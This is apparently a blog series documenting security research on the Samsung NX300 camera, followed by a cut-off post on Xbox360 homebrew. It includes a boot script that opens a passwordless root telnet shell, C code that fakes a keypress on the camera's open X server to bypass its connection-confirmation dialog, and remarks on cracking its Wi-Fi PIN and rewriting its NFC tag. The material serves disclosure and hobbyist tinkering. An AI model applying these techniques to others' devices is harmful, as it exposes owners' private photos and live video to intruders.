Things related to hardware / embedded device / smart device hacking.

This is the third post in a series covering the Samsung NX300 "Smart" Camera. In the first post, we have analyzed how the camera is interacting with the outside world using NFC and WiFi. The second one showed a method to gain a remote root shell, and it spawned a number of interesting projects. This post is a reference collection of these projects, and a call for collaboration.

Samsung NX300 Firmware Update

First, I want to thank Samsung for fixing the most serious security problems in the NX300 firmware. As of firmware version 1.41, the X server is closed down and there is an option to encrypt the WiFi network spawned by the camera with WPA2:

[v1.41]
1.Add Wi-Fi Privacy Lock function
2.Revision Open Source Licenses

Unfortunately, the provided 8-digit PIN can be cracked in less than one hour using pyrit on a middle-class GPU. While this is far from good security, it requires at least some dedication from the attacker.

Even more unfortunately, Samsung removed autoexec.sh execution from the NX300M firmware starting with (or after) 1.11. Dear Samsung engineers, if you are reading this: please add it back! Executing code from the SD card (without modifying the firmware image) is a great opportunity, not a security problem! Most of the mods discussed in this post are leveraging that functionality in a creative way!

Automatic Photo Backups

Markus A. Kuppe has written a tutorial for auto-backups of the NX300 using an ftp client on the camera and a Raspberry Pi ftp server. One interesting bit of information is how to make the camera auto-connect to WiFi whenever it is turned on, using a custom wpa_supplicant.conf and DBus:

cp /mnt/mmc/wpa_supplicant.conf /tmp/
/usr/bin/wlan.sh start NL 0x8210
/usr/sbin/connmand -W nl80211 -r
/usr/sbin/net-config
sleep 2
dbus-send --system --type=method_call --print-reply --dest=net.connman \
    /net/connman/service/wifi_a0219572b25b_7777772e6c656d6d737465722e6465_managed_psk \
    net.connman.Service.Connect

Jonathan Dieter created another backup mechanism using SCP and published the nx300m-autobackup source code. Well done!

Additional Kernel Modules

Markus also provided a short write-up on compiling additional kernel modules, which should allow us to extend the camera's functionality without re-flashing the firmware.

Crypto Photography

The most interesting idea, however, was envisioned by Doug Hickok. He modified the firmware to auto-encrypt photographs using public key cryptography. This allows for very interesting use cases like letting a professional photographer take pictures without allowing him to keep a copy, or for investigative journalists to hide their data tracks.

In the current implementation the pictures are first stored to the SD card and then encrypted and deleted, allowing for undelete attacks. Do not use it in production yet. With some more tweaking, however, it should be possible to make this firmware actually deliver the security promise.

Announcement: Samsung NX Hacks

Seeing how there is a (yet small) community of tinkerers around the NX300 camera, and with the knowledge that a whole range of Samsung NX cameras comes with Tizen-based firmware (NX1, NX200, NX2000, NX300M, ...?), the author has created a repository and a Wiki on GitHub.

Feel free to contribute to the wiki or the project - every input is welcome, starting from transferring information from the blog posts linked above into a more structured form in the wiki, and up to creating firmware modifications to allow for exciting new features.

Hack on!


Full series:

Posted 2015-01-29 17:30:20 Tags: hardware

This is the second post in a series covering the Samsung NX300 "Smart" Camera. In the first post, we have analyzed how the camera is interacting with the outside world using NFC and WiFi. In this post, we will have a deeper look at the operating system running on the camera, execute some code and open a remote root shell. This process can be applied (with some adaptations) to different networked consumer electronics, including home routers, NAS boxes and Smart TVs. The third post will leveage that knowledge to add functionality.

Firmware: Looking for Loopholes

Experience shows that most firmware images provide an easy way to run a user-provided shell script on boot. This feature is often added by the "software engineers" during development, but it boils down to a local root backdoor. On a camera, the SD card would be a good place to search. Other devices might execute code from an USB flash drive or the built-in hard disk.

Usually, we have to start with the firmware update file (nx300.bin from this 241MB ZIP in our case), run binwalk on it, extract and mount the root file system and have our fun. In this case, however, the source archive from Samsung's OSS Release Center contains an unpacked root file system tree in TIZEN/project/NX300/image/rootfs, so we just examine that:

georg@megavolt:TIZEN/project/NX300/image/rootfs$ ls -l
total 72
drwxr-xr-x  4 4096 Oct 16  2013 bin/
drwxr-xr-x  3 4096 Oct 16  2013 data/
drwxr-xr-x  3 4096 Oct 16  2013 dev/
drwxr-xr-x 38 4096 Oct 16  2013 etc/
drwxr-xr-x  9 4096 Oct 16  2013 lib/
-rw-r--r--  1  203 Oct 16  2013 make_image.log
drwxr-xr-x  8 4096 Oct 16  2013 mnt/
drwxr-xr-x  3 4096 Oct 16  2013 network/
drwxr-xr-x 16 4096 Oct 16  2013 opt/
drwxr-xr-x  2 4096 Oct 16  2013 proc/
lrwxrwxrwx  1   13 Oct 16  2013 root -> opt/home/root/
drwxr-xr-x  2 4096 Oct 16  2013 sbin/
lrwxrwxrwx  1    8 Oct 16  2013 sdcard -> /mnt/mmc
drwxr-xr-x  2 4096 Oct 16  2013 srv/
drwxr-xr-x  2 4096 Oct 16  2013 sys/
drwxr-xr-x  2 4096 Oct 16  2013 tmp/
drwxr-xr-x 16 4096 Oct 16  2013 usr/
drwxr-xr-x 13 4096 Oct 16  2013 var/

make_image.log sounds like somebody forgot to clean up before shipping (this file is actually contained on the camera):

SBS logging begin
Wed Oct 16 14:27:21 KST 2013

WARNING: setting root UBIFS inode UID=GID=0 (root) and permissions to u+rwx,go+rx; use --squash-rino-perm or --nosquash-rino-perm to suppress this warning

If we can believe the /sdcard symlink, the SD card is mounted at /mnt/mmc. Usually, there are some scripts and tools referencing the directory, and we should start with them:

georg@megavolt:TIZEN/project/NX300/image/rootfs$ grep /mnt/mmc -r .
./etc/fstab:/dev/mmcblk0    /mnt/mmc        exfat   noauto,user,umask=1000 0 0
./etc/fstab:/dev/mmcblk0p1  /mnt/mmc        exfat   noauto,user,umask=1000 0 0
./usr/sbin/pivot_rootfs_ubi.sh:umount /oldroot/mnt/mmc
./usr/sbin/rcS.pivot:   mkdir -p /mnt/mmc
./usr/sbin/rcS.pivot:       mount -t vfat -o noatime,nodiratime $card_path /mnt/mmc
./usr/bin/inspkg.sh:    mount -t vfat /dev/mmcblk0 /mnt/mmc
./usr/bin/inspkg.sh:    mount -t vfat /dev/mmcblk0p1 /mnt/mmc
./usr/bin/inspkg.sh:mount -t vfat /dev/mmcblk0p1 /mnt/mmc   
./usr/bin/inspkg.sh:find /mnt/mmc -name "*$1*.deb" -exec dpkg -i {} \; 2> /dev/null
./usr/bin/ubi_initial.sh:mount -t vfat /dev/mmcblk0p1 /mnt/mmc
./usr/bin/ubi_initial.sh:cd /mnt/mmc
./usr/bin/remount_mmc.sh:   nr_mnt_dev=`/usr/bin/stat -c %d /mnt/mmc` #/opt/storage
./usr/bin/remount_mmc.sh:       umount /mnt/mmc 2> /dev/null
./usr/bin/remount_mmc.sh:           /bin/mount -t vfat /dev/mmcblk${i}p1 /mnt/mmc -o uid=0,gid=0,dmask=0000,fmask=0000,iocharset=iso8859-1,utf8,shortname=mixed
./usr/bin/remount_mmc.sh:               /bin/mount -t vfat /dev/mmcblk${i} /mnt/mmc -o uid=0,gid=0,dmask=0000,fmask=0000,iocharset=iso8859-1,utf8,shortname=mixed
[ stripped a bunch of binary matches in /usr/bin and /usr/lib ]

What we have here are some usual Linux boot-up configuration files (fstab, rcS.pivot, ubi_initial.sh), a very interesting script that installs any Debian packages from the SD card (inspkg.sh), and ~50 shared libraries and executable binaries with the /mnt/mmc string hardcoded inside.

Package Installer Script

Let us have a look at inspkg.sh first:

#! /bin/sh

echo $1
if [ "$#" = "2" ]
then
    if [ "$2" = "0" ]
    then
    echo -e "mount mmcblk0.."
    mount -t vfat /dev/mmcblk0 /mnt/mmc
    else
    echo -e "mount mmcblk0p1..."
    mount -t vfat /dev/mmcblk0p1 /mnt/mmc
    fi
else
echo -e "mount mmcblk0p1..."
mount -t vfat /dev/mmcblk0p1 /mnt/mmc   
fi

find /mnt/mmc -name "*$1*.deb" -exec dpkg -i {} \; 2> /dev/null

echo -e "sync...."
sync

This is a shell script that takes one or two arguments. The first one is the package name to look for (the find command will find and install all .deb files containing the first argument in their name). The second argument is used to mount the correct partition of the SD card. Surely we can use this script to install dropbear, gcc or moon-buggy. Now we only need to figure out how (or from where) this script is run:

georg@megavolt:TIZEN/project/NX300/image/rootfs$ grep -r inspkg.sh .
georg@megavolt:TIZEN/project/NX300/image/rootfs$ 

Whoops. There are no references to it in the firmware. It was merely a red herring, and we need to find another way in.

The Magic Binary Blob

In /usr/bin, the most interesting file is di-camera-app-nx300, making references to /mnt/mmc/Demo/NX300_Demo.mp4, /mnt/mmc/SYSTEM/Device.xml and a bunch of WAV files in /mnt/mmc/sounds/ that seem to correspond to UI actions (up, down, ..., delete, ev, wifi).

This is obviously the magic binary blob controlling the really interesting functions (like the UI, the shutter, and the image processor). Most consumer electronics branded as "Open Source" contain some kind of Linux runtime which is only used to execute one large binary. That binary in turn encloses all the things you want to tinker with, but it is not provided with source code, still leaving you at the mercy of the manufacturer.

As expected, this program comes out of nowhere. There are traces of the di-camera-app-nx300 Debian package (version 0.2.387) being installed:

Package: di-camera-app-nx300
Status: install ok installed
Priority: extra
Section: misc
Installed-Size: 87188
Maintainer: Sookyoung Maeng <[snip]@samsung.com>, Jeounggon Yoo <[snip]@samsung.com>
Architecture: armel
Source: di-camera-app
Version: 0.2.387
Depends: libappcore-common-0, libappcore-efl-0, libaul-1, libbundle-0, libc6 (>= 2.4),
    libdevman-0, libdlog-0, libecore, libecore-evas, libecore-file, libecore-input,
    libecore-x, libedje (>= 0.9.9.060+svn20100304), libeina (>= 1.0.0.001+svn20100831),
    libelm, libevas (>= 0.9.9.060+svn20100203), libgcc1 (>= 1:4.4.0),
    libglib2.0-0 (>= 2.12.0), libmm-camcorder, libmm-player, libmm-sound-0,
    libmm-utility, libnetwork-0, libnl2 (>= 2.0), libslp-pm-0, libslp-utilx-0,
    libstdc++6 (>= 4.5), libvconf-0, libwifi-wolf-client, libx11-6,
    libxrandr2 (>= 2:1.2.0), libxtst6, prefman, libproduction-mode,
    libfilelistmanagement, libmm-common, libmm-photo, libasl, libdcm,
    libcapture-fw-slpcam-nx300, libvideo-player-ext-engine, libhibernation-slpcam-0,
    sys-mmap-manager, libstorage-manager, libstrobe, libdustreduction, libmm-slideshow,
    di-sensor, libdi-network-dlna-api, libproduction-commands, d4library,
    diosal
Description: Digital Imaging inhouse application for nx300

So this package is created from di-camera-app, which does not exist either, except "inhouse". Thank you Samsung for spoiling the fun... :-(

Besides of some start/stop scripts, the only other interesting reference to this magic binary blob is in TIZEN/build/exec.sh, which looks like a mixture of installation and startup script:

#!/bin/sh
# 

cp -f *.so /usr/lib
cp -f di-camera-app-nx300 /usr/bin
sync
sync
sync

sleep 1
cd /
startx; di-camera-app &

(Because with only one sync, you can never know, and two might still not be enough if you must be 300% sure the data has been written).

The camera app is accompanied by another magic binary blob for WiFi, smart-wifi-app-nx300 (Samsung should get an award for creative file names). However, there are no hints at possible code execution in either program, so we need to dig even deeper.

Searching Shared Libraries

The situation in /usr/lib is different, though. We can run strings on the files that mention the SD card mount point (limiting the output to the relevant lines):

georg@megavolt:TIZEN/project/NX300/image/rootfs$ for f in `grep -l /mnt/mmc *.so` ; do \
                echo "--- $f" ; strings $f | grep /mnt/mmc; done
[snip]
--- libmisc.so
/mnt/mmc
/mnt/mmc/autoexec.sh
--- libnetwork.so
/mnt/mmc/iperf.txt
--- libstorage.so
/usr/bin/iozone -A -s 40m -U /mnt/mmc -f /mnt/mmc/test -e > /tmp/card_result.txt
cp /tmp/card_result.txt /mnt/mmc
/mnt/mmc/auto_run.sh

Okay, this is starting to get hot! /mnt/mmc/autoexec.sh and /mnt/mmc/auto_run.sh are exactly what we have been looking for. We need to try one of them and see what happens!

autoexec.sh

To test our theory, we need to mount the camera via USB, and create the following autoexec.sh file in its root directory (Windows users watch out, the file needs to have Unix linebreaks!):

#!/bin/sh
LOG=/mnt/mmc/autoexec.log
date >> $LOG
id >> $LOG
echo "$PATH" >> $LOG
ps axfu >> $LOG
mount >> $LOG

Now we need to unmount the camera, turn it off and on again, wait some seconds, mount it, and check if we got lucky. Let's see... autoexec.log is there! Jackpot! Now we can analyze its contents, piece by piece:

Fri May  9 06:25:20 UTC 2014
uid=0(root) gid=0(root)
/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/X11R6/bin:/sbin:/usr/local/bin:/usr/scripts

This output was just generated, it was running as root (yeah!), and the path looks rather boring.

PID     VSZ   RSS STAT  COMMAND
[stripped boring kernel threads and some columns]
  1    2988    52 Ss    init      
139   11460  1348 S     /usr/bin/system_server
144    2652   188 Ss    dbus-daemon --system
181    3416   772 Ss    /usr/bin/power_manager
232   12268  4608 S<s+  /usr/bin/Xorg :0 -logfile /opt/var/log/Xorg.0.log -ac -noreset \
    -r +accessx 0 -config /usr/etc/X11/xorg.conf -configdir /usr/etc/X11/xorg.conf.d
243    2988    76 Ss    init      
244    2988    56 Ss    init      
245    2988    60 Ss+   init      
246    2988    56 Ss+   init      
247    2988     8 S     sh /usr/etc/X11/xinitrc
256   20200  2336 S      \_ /usr/bin/enlightenment -profile samsung \
    -i-really-know-what-i-am-doing-and-accept-full-responsibility-for-it
254   19876     8 S     /usr/bin/launchpad_preloading_preinitializing_daemon
255   12648   816 S     /usr/bin/ac_daemon
259    3600     8 S     dbus-launch --exit-with-session /usr/bin/enlightenment -profile samsung \
    -i-really-know-what-i-am-doing-and-accept-full-responsibility-for-it
260    2652     8 Ss    /usr/bin/dbus-daemon --fork --print-pid 5 --print-address 7 --session
267  690688 34760 Ssl   di-camera-app-nx300
404    2988   520 S      \_ sh -c /mnt/mmc/autoexec.sh
405    2988   552 S          \_ /bin/sh /mnt/mmc/autoexec.sh
408    2860   996 R              \_ ps axfu

Our script is executed by di-camera-app-nx300, there is enlightenment and dbus running, and i-really-know-what-i-am-doing-and-accept-full-responsibility-for-it.

The mount point list looks pretty standard as well for an embedded device, using UBIFS for flash memory and the exfat driver for the SD card:

rootfs on / type rootfs (rw)
ubi0!rootdir on / type ubifs (ro,relatime,bulk_read,no_chk_data_crc)
devtmpfs on /dev type devtmpfs (rw,relatime,size=47096k,nr_inodes=11774,mode=755)
none on /proc type proc (rw,relatime)
tmpfs on /tmp type tmpfs (rw,relatime)
tmpfs on /var/run type tmpfs (rw,relatime)
tmpfs on /var/lock type tmpfs (rw,relatime)
tmpfs on /var/tmp type tmpfs (rw,relatime)
tmpfs on /var/backups type tmpfs (rw,relatime)
tmpfs on /var/cache type tmpfs (rw,relatime)
tmpfs on /var/local type tmpfs (rw,relatime)
tmpfs on /var/log type tmpfs (rw,relatime)
tmpfs on /var/mail type tmpfs (rw,relatime)
tmpfs on /var/opt type tmpfs (rw,relatime)
tmpfs on /var/spool type tmpfs (rw,relatime)
tmpfs on /opt/var/log type tmpfs (rw,relatime)
sysfs on /sys type sysfs (rw,relatime)
/dev/ubi2_0 on /mnt/ubi2 type ubifs (ro,noatime,nodiratime,bulk_read,no_chk_data_crc)
/dev/ubi1_0 on /mnt/ubi1 type ubifs (rw,noatime,nodiratime,bulk_read,no_chk_data_crc)
/dev/mmcblk0 on /mnt/mmc type exfat (rw,nosuid,nodev,noatime,nodiratime,uid=5000,gid=6,fmask=0022,
        dmask=0022,allow_utime=0020,codepage=cp437,iocharset=iso8859-1,namecase=0,errors=remount-ro)

Remote Access

The camera is not connected to your WiFi network by default, you have to launch one of the WiFi apps first. The most reliable one for experimenting in your (protected) home network is the Email app. After you launch it, the camera looks for WiFi networks (configure your own one here), and stays connected for a long time, keeping the X server (and anything you run via autoexec.sh) open.

After tinkering around with a static dropbear binary downloaded from the Internets (and binary-patching the references to dropbear_rsa_host_key and authorized_keys), I ran into a really silly problem:

[443] May 09 12:00:45 user 'root' has blank password, rejected

Running a Telnet Server

Around the same time, I realized one thing that I should have checked first:

lrwxrwxrwx    1    17 May 22  2013 /usr/sbin/telnetd -> ../../bin/busybox

Our firmware comes with busybox, and busybox comes with telnetd - an easy to deploy remote login service. After the realization settled, the first attempt looked like we almost did it:

georg@megavolt:~$ telnet nx300
Trying 192.168.0.147...
Connected to nx300.local.
Escape character is '^]'.
Connection closed by foreign host.

georg@megavolt:~$ telnet nx300
Trying 192.168.0.147...
telnet: Unable to connect to remote host: Connection refused

Wow, the telnet port was open, something was running, but we crashed it! Another two mount-edit-restart-mount cycles later, the issue was clear:

telnetd: can't find free pty

Fortunately, the solution is documented. Now we can log into the camera for sure?

georg@megavolt:~$ telnet nx300
Trying 192.168.0.147...
Connected to nx300.local.
Escape character is '^]'.


************************************************************
*                 SAMSUNG LINUX PLATFORM                   *
************************************************************

nx300 login: root
Login incorrect

Damn, Samsung! Why no login? Maybe we can circumvent this in some way? Does the busybox telnetd help provide any hints?

    -l LOGIN        Exec LOGIN on connect

Maybe we can replace the evil password-demanding login command with... a shell? Let us adapt our SD card autoexec.sh script to what we have gathered:

#!/bin/sh

mkdir -p /dev/pts
mount -t devpts none /dev/pts

telnetd -l /bin/bash -F > /mnt/mmc/telnetd.log 2>&1 &

Another mount-edit-restart cycle, and we are in:

georg@megavolt:~$ telnet nx300
Trying 192.168.0.147...
Connected to nx300.local.
Escape character is '^]'.


************************************************************
*                 SAMSUNG LINUX PLATFORM                   *
************************************************************

nx300:/# cat /proc/cpuinfo
Processor       : ARMv7 Processor rev 8 (v7l)
BogoMIPS        : 1395.91
Features        : swp half thumb fastmult vfp edsp neon vfpv3 tls 
CPU implementer : 0x41
CPU architecture: 7
CPU variant     : 0x2
CPU part        : 0xc09
CPU revision    : 8

Hardware        : Samsung-DRIMeIV-NX300
Revision        : 0000
Serial          : 0000000000000000
nx300:/# free
         total       used       free     shared    buffers     cached
Mem:        512092     500600      11492          0        132      41700
-/+ buffers/cache:     458768      53324
Swap:        30716       8084      22632
nx300:/# df -h /
Filesystem                Size      Used Available Use% Mounted on
ubi0!rootdir            352.5M    290.8M     61.6M  83% /
nx300:/# ls -al /opt/sd0/DCIM/100PHOTO/
total 1584
drwxr-xr-x    2 root     root           520 May 22  2013 .
drwxr-xr-x    3 root     root           232 May 22  2013 ..
-rwxr-xr-x    1 root     root        394775 May 22  2013 SAM_0015.JPG
-rwxr-xr-x    1 root     root        335668 May 22  2013 SAM_0016.JPG   [Obama was here]
-rwxr-xr-x    1 root     root        357591 May 22  2013 SAM_0017.JPG
-rwxr-xr-x    1 root     root        291493 May 22  2013 SAM_0018.JPG
-rwxr-xr-x    1 root     root        232470 May 22  2013 SAM_0019.JPG
nx300:/# 

Congratulations, you have gained network access to yet another Linux appliance! From here, you should be able to perform anything you want on the camera, except from the interesting things closed in the Samsung binaries.

Comments on HN


Full series:

Posted 2014-05-12 18:05:26 Tags: hardware

The Samsung NX300 smart camera is a middle-class mirrorless camera with NFC and WiFi connectivity. You can connect it with your local WiFi network to upload directly to cloud services, share pictures via DLNA or obtain remote access from your smartphone. For the latter, the camera provides the Remote Viewfinder and MobileLink modes where it creates an unencrypted access point with wide-open access to its X server and any data which you would expect only to be available to your smartphone.

Because hardware engineers suck at software security, nothing else was to be expected. Nevertheless, the following will show how badly they suck, if only for documentation purposes.

This post is only covering the network connectivity of the NX300. Read the follow-up posts for getting a root shell and adding features to the camera. The smartphone app deserves some attention as well. Feel free to do your own research and post it to the project wiki.

The findings in this blog posts are based on firmware version 1.31.

NFC Tag

The NFC "connectivity" is an NTAG203 created by NXP, which is pre-programmed with an NDEF message to download and launch the (horribly designed) Samsung SMART CAMERA App from Google Play, and to inform the app about the access point name provided by this individual camera:

Type: MIME: application/com.samsungimaging.connectionmanager
Payload: AP_SSC_NX300_0-XX:XX:XX

Type: EXTERNAL: urn:nfc:ext:android.com:pkg
Payload: com.samsungimaging.connectionmanager

The tag is writable, so a malicious user can easily "hack" your camera by rewriting its tag to download some evil app, or to open nasty links in your web browser, merely by touching it with an NFC-enabled smartphone. This was confirmed by replacing the tag content with an URL.

The deployed tag supports permanent write-locking, so if you know a prankster nerd, you might end up with a camera stuck redirecting you to a hardcore porn site.

WiFi Networking

You can configure the NX300 to enter your WiFi network, it will behave like a regular client with some open services, like DLNA. Let us see what exactly is offered by performing a port scan:

megavolt:~# nmap -sS -O nx300

Starting Nmap 6.25 ( http://nmap.org ) at 2013-11-21 22:37 CET
Nmap scan report for nx300.local (192.168.0.147)
Host is up (0.0089s latency).
Not shown: 999 closed ports
PORT     STATE SERVICE
6000/tcp open  X11
MAC Address: A0:21:95:**:**:** (Unknown)
No exact OS matches for host (If you know what OS is running on it, see http://nmap.org/submit/ ).

This scan was performed while the "E-Mail" application was open. In AllShare Play and MobileLink modes, 7676/tcp is opened in addition. Further, in Remote Viewfinder mode, the camera also opens 7679/tcp.

X Server

Wait, what? X11 as an open service? Could that be true? For sure it is access-locked via TCP to prevent abuse?

georg@megavolt:~$ DISPLAY=nx300:0 xlsfonts
-misc-fixed-medium-r-semicondensed--0-0-75-75-c-0-iso8859-1
-misc-fixed-medium-r-semicondensed--13-100-100-100-c-60-iso8859-1
-misc-fixed-medium-r-semicondensed--13-120-75-75-c-60-iso8859-1
6x13
cursor
fixed

georg@megavolt:~$ DISPLAY=nx300:0 xrandr
Screen 0: minimum 320 x 200, current 480 x 800, maximum 4480 x 4096
LVDS1 connected 480x800+0+0 (normal left inverted right x axis y axis) 480mm x 800mm
   480x800        60.0*+
HDMI1 disconnected (normal left inverted right x axis y axis)

georg@megavolt:~$ for i in $(xdotool search '.') ; do xdotool getwindowname $i ; done
Defaulting to search window name, class, and classname
Enlightenment Background
acdaemon,key,receiver
Enlightenment Black Zone (0)

Enlightenment Frame
di-camera-app-nx300
Enlightenment Frame
smart-wifi-app-nx300

Nope! This is really an unprotected X server! It is running Enlightenment! And we can even run apps on it! But besides displaying stuff on the camera the fun seems very limited:

NX300 xteddy

X11 Key Bindings

A short investigation using xev outlines that the physical keys on the camera body are bound to X11 key events as follows:

On/Off XF86PowerOff (only when turning off)
Scroll Wheel XF86ScrollUp / XF86ScrollDown
Direct Link XF86Mail
Mode Wheel F1 .. F10
Video Rec XF86WebCam
+/- XF86Reload
Menu Menu
Fn XF86HomePage
Keypad KP_Left .. KP_Down, KP_Enter
Play XF86Tools
Delete KP_Delete

WiFi Client: Firmware Update Check

When the camera goes online, it performs a firmware version check. First, it retrieves http://gld.samsungosp.com:

Request:

GET / HTTP/1.1
Content-Type: text/xml;charset=utf-8
Accept: application/x-shockwave-flash, application/vnd.ms-excel, */*
Accept-Language: ko
User-Agent: Mozilla/4.0
Host: gld.samsungosp.com

Response:

HTTP/1.1 200 OK
Accept-Ranges: bytes
Content-Type: text/html
Date: Thu, 28 Nov 2013 16:23:48 GMT
Last-Modified: Mon, 31 Dec 2012 02:23:18 GMT
Server: nginx/0.7.65
Content-Length: 7
Connection: keep-alive

200 OK

This really looks like a no-op. But maybe this is a backdoor to allow for remote code execution? Who knows...

Then, a query to http://ipv4.connman.net/online/status.html returns an empty document, but has your location data (apparently obtained from the IP) in the headers:

X-ConnMan-Status: online
X-ConnMan-Client-IP: ###.###.##.###
X-ConnMan-Client-Address: ###.###.##.###
X-ConnMan-Client-Continent: EU
X-ConnMan-Client-Country: DE
X-ConnMan-Client-Region: ##
X-ConnMan-Client-City: ###### (my actual city)
X-ConnMan-Client-Latitude: ##.166698
X-ConnMan-Client-Longitude: ##.666700
X-ConnMan-Client-Timezone: Europe/Berlin

Wow! They know where I live! At least they do not transmit any unique identifiers with the query.

As the last step, the camera is asking for firmware versions and gets redirected to an XML document with the ChangeLog.

Known versions so far:

WiFi Access Point: UPnP/DLNA

Two of the on-camera apps (MobileLink, Remote Viewfinder) open an unencrypted access point named AP_SSC_NX300_0-XX:XX:XX (where XX:XX:XX is the device part of its MAC address). Fortunately, Samsung's engineers were smart and added a user confirmation dialog to the camera UI, to prevent remote abuse:

NX300 Access Confirmation

Unfortunately, this dialog is running on a wide-open X server, so all we need is to fake an KP_Return event (based on an example by bharathisubramanian), and we can connect with whichever client, stream a live video or download all the private pictures from the SD card, depending on the enabled mode:

#include <X11/Xlib.h>
#include <X11/Intrinsic.h>
#include <X11/extensions/XTest.h>
#include <unistd.h>
/* Send Fake Key Event */
static void SendKey (Display * disp, KeySym keysym, KeySym modsym){
 KeyCode keycode = 0, modcode = 0;
 keycode = XKeysymToKeycode (disp, keysym);
 if (keycode == 0) return;
 XTestGrabControl (disp, True);
 /* Generate modkey press */
 if (modsym != 0) {
  modcode = XKeysymToKeycode(disp, modsym);
  XTestFakeKeyEvent (disp, modcode, True, 0);
 }
 /* Generate regular key press and release */
 XTestFakeKeyEvent (disp, keycode, True, 0);
 XTestFakeKeyEvent (disp, keycode, False, 0); 

 /* Generate modkey release */
 if (modsym != 0)
  XTestFakeKeyEvent (disp, modcode, False, 0);

 XSync (disp, False);
 XTestGrabControl (disp, False);
}

/* Main Function */
int main (){
 Display *disp = XOpenDisplay (NULL);
 sleep (1);
 /* Send Return */
 SendKey (disp, XK_Return, 0);
}

DLNA Service: Remote Viewfinder

The DLNA service is exposing some camera features, which are queried and used by the Android app. The device's friendly name is [Camera]NX300, as can be queried via HTTP from http://nx300:7676/smp_2_:

<dlna:X_DLNADOC>DMS-1.50</dlna:X_DLNADOC>
  <deviceType>urn:schemas-upnp-org:device:MediaServer:1</deviceType>
  <friendlyName>[Camera]NX300</friendlyName>
  <manufacturer>Samsung Electronics</manufacturer>
  <manufacturerURL>http://www.samsung.com</manufacturerURL>
  <modelDescription>Samsung Camera DMS</modelDescription>
  <modelName>SP1</modelName>
  <modelNumber>1.0</modelNumber>
  <modelURL>http://www.samsung.com</modelURL>
  <serialNumber>20081113 Folderview</serialNumber>
  <sec:X_ProductCap>smi,getMediaInfo.sec,getCaptionInfo.sec</sec:X_ProductCap>
  <UDN>uuid:XXXXXXXX-XXXX-XXXX-XXXX-XXXXXXXXXXXX</UDN>
  <serviceList>
    <service>
      <serviceType>urn:schemas-upnp-org:service:ContentDirectory:1</serviceType>
      <serviceId>urn:upnp-org:serviceId:ContentDirectory</serviceId>
      <controlURL>/smp_4_</controlURL>
      <eventSubURL>/smp_5_</eventSubURL>
      <SCPDURL>/smp_3_</SCPDURL>
    </service>
    <service>
      <serviceType>urn:schemas-upnp-org:service:ConnectionManager:1</serviceType>
      <serviceId>urn:upnp-org:serviceId:ConnectionManager</serviceId>
      <controlURL>/smp_7_</controlURL>
      <eventSubURL>/smp_8_</eventSubURL>
      <SCPDURL>/smp_6_</SCPDURL>
    </service>
  </serviceList>
  <sec:deviceID>
  </sec:deviceID>
</device>

Additional SOAP services are provided for changing settings like focus and flash (/smp_3_):

FunctionArgumentsResult
GetSystemUpdateIDId
GetSearchCapabilitiesSearchCaps
GetSortCapabilitiesSortCaps
BrowseObjectID BrowseFlag Filter
StartingIndex RequestedCount SortCriteria
Result NumberReturned
TotalMatches UpdateID
GetIPGETIPRESULT
GetInfomationGETINFORMATIONRESULT StreamUrl
SetResolutionRESOLUTION
ZoomINCURRENTZOOM
ZoomOUTCURRENTZOOM
MULTIAFAFSTATUS
AFAFSTATUS
setTouchAFOptionTOUCH_AF_OPTIONSET_OPTION_RESULT
touchAFAFPOSITIONTOUCHAF_RESULT
AFRELEASEAFRELEASERESULT
ReleaseSelfTimerRELEASETIMER
ShotAFSHOTRESULT
ShotWithGPSGPSINFOAFSHOTRESULT
SetLEDLEDTIME
SetFlashFLASHMODE
SetStreamQualityQuality

Another service is available for picture / video streaming (/smp_4_):

<?xml version="1.0" encoding="utf-8"?>
<s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
  <s:Body>
    <u:GetInfomationResponse xmlns:u="urn:schemas-upnp-org:service:ContentDirectory:1">
    <GETINFORMATIONRESULT>
      <Resolutions>
        <Resolution><Width>5472</Width><Height>3648</Height></Resolution>
        <Resolution><Width>1920</Width><Height>1080</Height></Resolution>
      </Resolutions>
      <Flash>
        <Supports><Support>off</Support><Support>auto</Support></Supports>
        <Defaultflash>auto</Defaultflash>
      </Flash>
      <FlashDisplay>
        <Supports><Support>off</Support><Support>auto</Support></Supports>
        <CurrentFlashDisplay>off</CurrentFlashDisplay>
      </FlashDisplay>
      <ZoomInfo>
        <DefaultZoom>0</DefaultZoom>
        <MaxZoom>1</MaxZoom>
      </ZoomInfo>
      <AVAILSHOTS>289</AVAILSHOTS>
      <ROTATION>1</ROTATION>
      <StreamQuality>
        <Quality><Option>high</Option><Option>low</Option></Quality>
        <Default>high</Default>
      </StreamQuality>
    </GETINFORMATIONRESULT>
    <StreamUrl>
      <QualityHighUrl>http://192.168.102.1:7679/livestream.avi</QualityHighUrl>
      <QualityLowUrl>http://192.168.102.1:7679/qvga_livestream.avi</QualityLowUrl>
    </StreamUrl>
    </u:GetInfomationResponse>
  </s:Body>
</s:Envelope>

After triggering the right commands, a live video stream should be available from http://nx300:7679/livestream.avi. However, a brief attempt to get some video with wget or mplayer failed.

Firmware "Source Code"

The "source code" package provided on Samsung's OSS Release Center is 834 MBytes compressed and mainly contains three copies of the rootfs image (400-500MB each), and then some scripts. The actual build root is hidden under the second paper sheet link in the "Announcements" column.

Also, there are Obamapics in TIZEN/project/NX300/image/rootdir/opt/sd0/DCIM/100PHOTO.

The project is built on an ancient version of Tizen, on which I am no expert. Somebody else needs to take this stuff apart, make a proper build environment, or port OpenWRT to it.

Comments on HN


Full series:

Posted 2014-05-07 18:45:42 Tags: hardware

One-and-a-half Xbox360 hackers

Yesterday, I was sitting around and pondering whether to implement some kind of NAND filesystem support in XeLL. After all, there are people out there who would like to boot a Linux kernel without having to attach a USB storage device or insert a CD-R.

On the other hand, XeLL should actually be ported to libxenon, a hardware abstraction library for the Xbox360 hardware, which is desperately lacking developer attention as well. Now, I am only one person, but there are so many missing features. And by missing features I actually mean "things one could rip port from other OSS projects".

The idea of libhomebrew

And that is where the idea enlightened me. Every homebrew-on-$HARDWARE project so far was redoing the same things:

  1. hack the hardware (optional)

  2. write drivers for hardware components

  3. create a library containing/wrapping all the drivers and a libc

  4. port libraries with additional functionality (like MP3 playback and JPEG decoding)

  5. port libSDL ;-)

  6. write apps!

Now, steps 1. and 2. are of course specific to $HARDWARE. Step 3. is often based on how step 2. was performed, but it does not have to. The following steps however could be easily abstracted away from the actual hardware, even though currently, they are redone countless times.

But do we really have to redo them for every new platform?

One lib to rule them all

